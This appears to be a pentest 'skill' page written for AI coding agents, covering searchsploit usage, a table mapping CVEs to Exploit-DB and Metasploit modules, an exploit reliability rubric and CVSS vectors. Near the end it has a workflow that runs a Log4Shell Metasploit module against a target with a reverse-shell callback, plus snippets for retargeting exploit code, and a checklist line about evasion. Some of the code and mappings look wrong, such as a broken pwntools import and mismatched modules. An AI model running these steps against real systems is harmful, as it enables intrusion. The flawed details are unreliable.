菜单
Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Active Directory attack reference — BloodHound Cypher queries, Kerberos attack decision tree, ACE/ACL abuse, ADCS ESC1-8, and AD misconfig checklist
MITRE ATT&CK framework reference — tactics, techniques, and tool-to-TTP mappings for pentest documentation and detection rule writing
CVSS 3.1 vector examples, executive summary template, full technical finding template, and remediation language bank for pentest reports
SecLists path map, hashcat rules, CeWL usage, and custom wordlist generation for all attack categories
| name | exploit-db |
| description | Exploit-DB and searchsploit reference — EDB→Metasploit module mappings, PoC reliability rubric, CVSS tier quick reference, and searchsploit usage patterns |
| allowed-tools | Bash, Read |
# Text search in title/path
searchsploit apache 2.4
# Search by CVE
searchsploit --cve CVE-2021-41773
searchsploit --cve CVE-2021-44228
# JSON output for scripting
searchsploit apache --json | python3 -c "
import sys, json
data = json.load(sys.stdin)
for e in data.get('RESULTS_EXPLOIT', []):
print(e['EDB-ID'], e['Title'], e['Path'])
"
# Copy exploit to working dir
searchsploit -m 50383
# Update database
searchsploit -u
# Search by nmap XML output
searchsploit --nmap nmap_output.xml
# Filter by type (webapps, local, remote, dos)
searchsploit -t "remote" apache
# Search for specific OS
searchsploit windows 10 privilege escalation
# Show only exploits (not shellcodes/papers)
searchsploit wordpress --www-exploit-db
| CVE / EDB-ID | Vulnerability | Metasploit Module | Reliability |
|---|---|---|---|
| CVE-2017-0144 / EDB-41891 | MS17-010 EternalBlue | exploit/windows/smb/ms17_010_eternalblue | Weaponized |
| CVE-2021-44228 / EDB-50592 | Log4Shell RCE | exploit/multi/http/log4shell_header_injection | Weaponized |
| CVE-2021-1675 / EDB-50265 | PrintNightmare | exploit/windows/dcerpc/cve_2021_1675_printnightmare | Weaponized |
| CVE-2021-34473 / EDB-50243 | ProxyShell Exchange | exploit/windows/http/exchange_proxyshell_rce | Weaponized |
| CVE-2020-1472 / EDB-49071 | ZeroLogon | auxiliary/admin/dcerpc/cve_2020_1472_zerologon | Weaponized |
| CVE-2022-22965 / EDB-50798 | Spring4Shell | exploit/multi/http/spring_framework_rce_spring4shell | Weaponized |
| CVE-2019-19781 / EDB-47901 | Citrix ADC Path Traversal | exploit/linux/http/citrix_dir_traversal_rce | Weaponized |
| CVE-2020-5902 / EDB-48695 | F5 BIG-IP RCE | exploit/linux/http/f5_bigip_tmui_rce | Weaponized |
| CVE-2021-26855 / EDB-49637 | ProxyLogon Exchange | exploit/windows/http/exchange_proxylogon_rce | Weaponized |
| CVE-2022-26134 / EDB-51076 | Confluence OGNL RCE | exploit/multi/http/atlassian_confluence_namespace_ognl_injection | Weaponized |
| CVE-2018-13379 / EDB-47288 | FortiOS Path Traversal | auxiliary/gather/fortios_vpn_user_cred | Functional |
| CVE-2022-1388 / EDB-50919 | F5 iControl Auth Bypass | exploit/linux/http/f5_icontrol_rce | Weaponized |
| CVE-2021-20038 / EDB-50882 | SonicWall SMA Stack Overflow | exploit/linux/http/sonicwall_sma_overflow | Functional |
| CVE-2023-46604 / EDB-51880 | Apache ActiveMQ RCE | exploit/multi/misc/apache_activemq_rce_cve_2023_46604 | Weaponized |
| CVE-2021-3156 / EDB-49521 | Sudo Baron Samedit | exploit/linux/local/sudo_baron_samedit | Weaponized |
| CVE-2021-4034 / EDB-50689 | PwnKit polkit LPE | exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec | Weaponized |
| CVE-2022-0847 / EDB-50808 | Dirty Pipe Linux LPE | exploit/linux/local/cve_2022_0847_dirtypipe | Weaponized |
| CVE-2016-5195 / EDB-40616 | Dirty COW Linux LPE | exploit/linux/local/overlayfs_priv_esc | Weaponized |
| CVE-2014-6271 / EDB-34766 | Shellshock Bash RCE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Weaponized |
| CVE-2017-5638 / EDB-41570 | Apache Struts2 RCE | exploit/multi/http/struts2_content_type_ognl | Weaponized |
| CVE-2019-0708 / EDB-47416 | BlueKeep RDP RCE | exploit/windows/rdp/cve_2019_0708_bluekeep_rce | Functional |
| CVE-2020-0796 / EDB-48260 | SMBGhost RCE | exploit/windows/smb/cve_2020_0796_smbghost | Functional |
| CVE-2018-7600 / EDB-44449 | Drupalgeddon2 RCE | exploit/unix/webapp/drupal_drupalgeddon2 | Weaponized |
| CVE-2019-0211 / EDB-46676 | Apache HTTPd LPE | exploit/multi/http/apache_mod_cgi_bash_env_exec | Functional |
| CVE-2015-1701 / EDB-37367 | Windows Win32k LPE | exploit/windows/local/ms15_051_client_copy_image | Weaponized |
| CVE-2020-14882 / EDB-49391 | Oracle WebLogic RCE | exploit/multi/http/oracle_weblogic_admin_handle_rce | Weaponized |
| CVE-2021-22005 / EDB-50513 | vCenter File Upload | exploit/linux/http/vmware_vcenter_uploadova_rce | Weaponized |
| CVE-2022-41040 / EDB-51917 | ProxyNotShell Exchange | exploit/windows/http/exchange_proxynotshell_rce | Functional |
| CVE-2023-22515 / EDB-51899 | Confluence Priv Esc | Manual PoC required | Functional |
| CVE-2024-21762 / EDB-51960 | FortiOS OOB Write | Manual PoC required | Weaponized |
| CVE-2019-11510 / EDB-47297 | Pulse Secure Arb File Read | auxiliary/gather/pulse_secure_file_read | Weaponized |
| CVE-2020-3452 / EDB-48577 | Cisco ASA Path Traversal | auxiliary/gather/cisco_asa_local_file_inclusion | Weaponized |
| CVE-2021-40539 / EDB-50781 | ManageEngine RCE | exploit/multi/http/manageengine_adselfservice_plusrce | Weaponized |
| CVE-2022-36537 / EDB-51327 | ZK Framework RCE | Manual PoC | Functional |
| CVE-2023-4966 / EDB-51888 | Citrix Bleed Session Leak | Manual PoC | Weaponized |
| CVE-2024-3400 / EDB-52023 | PAN-OS GlobalProtect RCE | Manual PoC | Weaponized |
| CVE-2022-47966 / EDB-51518 | ManageEngine SAML RCE | exploit/linux/http/zoho_manageengine_saml_rce | Weaponized |
| CVE-2023-27997 / EDB-51832 | FortiGate SSL-VPN Heap BOF | Manual PoC | Weaponized |
| CVE-2023-20198 / EDB-51873 | Cisco IOS XE Priv Esc | Manual PoC | Weaponized |
| CVE-2024-6387 / EDB-52098 | OpenSSH regreSSHion | Manual PoC (race) | DoS-only |
| Level | Label | Criteria | Action |
|---|---|---|---|
| 1 | Weaponized | Works out-of-box against target version, produces shell/access reliably | Test directly; log as CONFIRMED |
| 2 | Functional | Requires minor adaptation (change URL, adjust offset) | Modify per target; log as VERIFIED |
| 3 | DoS-only | Crashes service but no code exec | Confirm version, log as CONFIRMED-DOS |
| 4 | Theoretical | Academic writeup, no working code | Write PoC from paper or skip |
| 5 | False/Invalid | Patched, misidentified, or wrong version | Log as NOT-APPLICABLE |
Reliability Assessment Checklist:
□ Check affected version range vs target version (confirm match)
□ Read comments/issues on GitHub PoC for known problems
□ Check EDB verified badge (green checkmark = tested by staff)
□ Note compile requirements (libc version, kernel headers, etc.)
□ Test in identical OS/service version lab before live target
□ Check VT multi-scanner on compiled binary (defense evasion consideration)
| Score | Severity | Vector Pattern | Examples |
|---|---|---|---|
| 9.0–10.0 | CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C | Pre-auth RCE, unauthenticated critical |
| 7.0–8.9 | HIGH | AV:N/AC:L/PR:N/UI:N | Auth bypass, post-auth RCE, LPE |
| 4.0–6.9 | MEDIUM | AV:N/AC:L/PR:L or AV:L/AC:L | Auth required, info disclosure |
| 0.1–3.9 | LOW | AV:L/AC:H/PR:H | Physical access, complex conditions |
Common Vector Components:
AV: N(network) L(local) P(physical) A(adjacent)
AC: L(low) H(high)
PR: N(none) L(low) H(high)
UI: N(none) R(required)
S: U(unchanged) C(changed)
C/I/A: N(none) L(low) H(high)
Pre-built CVSS Vectors by Category:
Pre-auth RCE (critical): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8
Auth bypass + access: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
Post-auth RCE: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
Local privilege escalation: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8
Stored XSS (admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4
SQLi (read-only): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
SSRF (internal): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N = 7.2
Path traversal (LFI): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5
DoS (network): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5
CSRF (state-change): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N = 6.5
# 1. Find relevant exploits
searchsploit --cve CVE-2021-44228 --json | python3 -m json.tool
# 2. View exploit details before downloading
searchsploit -x exploits/java/webapps/50592.py
# 3. Mirror to current directory
searchsploit -m 50592
# 4. Find matching MSF module
msfconsole -q -x "search cve:2021-44228; exit"
# 5. Run MSF module
msfconsole -q -x "
use exploit/multi/http/log4shell_header_injection
set RHOSTS $TARGET
set RPORT $PORT
set TARGETURI /
set LHOST $LHOST
set LPORT $LPORT
run
exit
"
# Pattern 1: Fix URL in raw exploit
import re
code = open('exploit.py').read()
code = re.sub(r'http://[0-9.]+', f'http://{TARGET}', code)
# Pattern 2: Fix shell command in exploit
# Find LHOST/LPORT references and replace with env vars
import os
LHOST = os.environ['LHOST']
LPORT = os.environ['LPORT']
# Pattern 3: Adjust buffer offset for target binary version
# Use cyclic pattern to find EIP/RIP offset
python3 -c "from pwntools import *; print(cyclic(200))" | ./$BINARY
# Then check crash offset with: cyclic_find(b'faab')